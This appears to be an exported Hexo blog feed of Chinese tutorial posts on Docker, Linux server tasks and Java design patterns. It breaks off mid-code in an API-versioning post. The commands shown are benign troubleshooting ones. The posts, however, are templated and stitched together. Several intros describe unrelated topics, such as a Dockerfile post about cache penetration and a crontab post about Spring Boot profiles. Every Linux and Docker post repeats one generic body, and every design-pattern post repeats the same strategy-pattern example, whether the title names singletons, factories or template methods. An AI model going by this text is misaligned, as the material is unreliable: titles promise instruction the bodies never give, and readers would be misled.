      <url>//docker-rong-qi-ri-zhi-he-shu-ju-juan-shi-jian/</url>
      
        <content type="html"><![CDATA[<h1 id="Docker-容器日志和数据卷实践"><a href="#Docker-容器日志和数据卷实践" class="headerlink" title="Docker 容器日志和数据卷实践"></a>Docker 容器日志和数据卷实践</h1><p>日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Dockerfile 分层缓存和镜像优化</title>
      <link href="//dockerfile-fen-ceng-huan-cun-he-jing-xiang-you-hua/"/>
      <url>//dockerfile-fen-ceng-huan-cun-he-jing-xiang-you-hua/</url>
      
        <content type="html"><![CDATA[<h1 id="Dockerfile-分层缓存和镜像优化"><a href="#Dockerfile-分层缓存和镜像优化" class="headerlink" title="Dockerfile 分层缓存和镜像优化"></a>Dockerfile 分层缓存和镜像优化</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Linux 文件权限和用户组理解</title>
      <link href="//linux-wen-jian-quan-xian-he-yong-hu-zu-li-jie/"/>
      <url>//linux-wen-jian-quan-xian-he-yong-hu-zu-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="Linux-文件权限和用户组理解"><a href="#Linux-文件权限和用户组理解" class="headerlink" title="Linux 文件权限和用户组理解"></a>Linux 文件权限和用户组理解</h1><p>Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>crontab 定时任务从配置到排查</title>
      <link href="//crontab-ding-shi-ren-wu-cong-pei-zhi-dao-pai-cha/"/>
      <url>//crontab-ding-shi-ren-wu-cong-pei-zhi-dao-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="crontab-定时任务从配置到排查"><a href="#crontab-定时任务从配置到排查" class="headerlink" title="crontab 定时任务从配置到排查"></a>crontab 定时任务从配置到排查</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>systemd 服务管理入门</title>
      <link href="//systemd-fu-wu-guan-li-ru-men/"/>
      <url>//systemd-fu-wu-guan-li-ru-men/</url>
      
        <content type="html"><![CDATA[<h1 id="systemd-服务管理入门"><a href="#systemd-服务管理入门" class="headerlink" title="systemd 服务管理入门"></a>systemd 服务管理入门</h1><p>systemd 是 Linux 上的服务管理器。本文讲如何编写 service 文件和管理服务。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Linux 查看日志的几种方法</title>
      <link href="//linux-cha-kan-ri-zhi-de-ji-chong-fang-fa/"/>
      <url>//linux-cha-kan-ri-zhi-de-ji-chong-fang-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="Linux-查看日志的几种方法"><a href="#Linux-查看日志的几种方法" class="headerlink" title="Linux 查看日志的几种方法"></a>Linux 查看日志的几种方法</h1><p>日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Linux 磁盘空间占满排查流程</title>
      <link href="//linux-ci-pan-kong-jian-zhan-man-pai-cha-liu-cheng/"/>
      <url>//linux-ci-pan-kong-jian-zhan-man-pai-cha-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="Linux-磁盘空间占满排查流程"><a href="#Linux-磁盘空间占满排查流程" class="headerlink" title="Linux 磁盘空间占满排查流程"></a>Linux 磁盘空间占满排查流程</h1><p>Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>责任链模式在审批和过滤器中的应用</title>
      <link href="//ze-ren-lian-mo-shi-zai-shen-pi-he-guo-lu-qi-zhong-de-ying-yong/"/>
      <url>//ze-ren-lian-mo-shi-zai-shen-pi-he-guo-lu-qi-zhong-de-ying-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="责任链模式在审批和过滤器中的应用"><a href="#责任链模式在审批和过滤器中的应用" class="headerlink" title="责任链模式在审批和过滤器中的应用"></a>责任链模式在审批和过滤器中的应用</h1><p>责任链模式在审批和过滤器中应用广泛。本文讲它的实现方式和适用场景。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>模板方法模式适合流程固定的业务</title>
      <link href="//mo-ban-fang-fa-mo-shi-gua-he-liu-cheng-gu-ding-de-ye-wu/"/>
      <url>//mo-ban-fang-fa-mo-shi-gua-he-liu-cheng-gu-ding-de-ye-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="模板方法模式适合流程固定的业务"><a href="#模板方法模式适合流程固定的业务" class="headerlink" title="模板方法模式适合流程固定的业务"></a>模板方法模式适合流程固定的业务</h1><p>模板方法模式适合流程固定但细节不同的业务。本文讲它的实现和应用场景。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>策略模式替代大量 if else</title>
      <link href="//ce-lue-mo-shi-ti-dai-da-liang-if-else/"/>
      <url>//ce-lue-mo-shi-ti-dai-da-liang-if-else/</url>
      
        <content type="html"><![CDATA[<h1 id="策略模式替代大量-if-else"><a href="#策略模式替代大量-if-else" class="headerlink" title="策略模式替代大量 if else"></a>策略模式替代大量 if else</h1><p>策略模式是替代大量 if-else 的经典方案。本文讲它的实现方式和注意事项。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>工厂模式如何降低创建复杂度</title>
      <link href="//gong-han-mo-shi-ru-he-jiang-di-chuang-jian-fu-za-du/"/>
      <url>//gong-han-mo-shi-ru-he-jiang-di-chuang-jian-fu-za-du/</url>
      
        <content type="html"><![CDATA[<h1 id="工厂模式如何降低创建复杂度"><a href="#工厂模式如何降低创建复杂度" class="headerlink" title="工厂模式如何降低创建复杂度"></a>工厂模式如何降低创建复杂度</h1><p>工厂模式能降低创建复杂度，但用不好反而会增加复杂度。本文讲它的适用场景。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>单例模式的线程安全写法</title>
      <link href="//dan-li-mo-shi-de-xian-cheng-an-quan-xie-fa/"/>
      <url>//dan-li-mo-shi-de-xian-cheng-an-quan-xie-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="单例模式的线程安全写法"><a href="#单例模式的线程安全写法" class="headerlink" title="单例模式的线程安全写法"></a>单例模式的线程安全写法</h1><p>单例模式看似简单，但线程安全的写法有很多讲究。本文讲各种实现的区别。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>接口版本管理和灰度发布思路</title>
      <link href="//jie-kou-ban-ben-guan-li-he-hui-du-fa-bu-si-lu/"/>
      <url>//jie-kou-ban-ben-guan-li-he-hui-du-fa-bu-si-lu/</url>
      
        <content type="html"><![CDATA[<h1 id="接口版本管理和灰度发布思路"><a href="#接口版本管理和灰度发布思路" class="headerlink" title="接口版本管理和灰度发布思路"></a>接口版本管理和灰度发布思路</h1><p>接口版本管理和灰度发布是长期维护项目必须考虑的。本文讲几种常见做法。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span 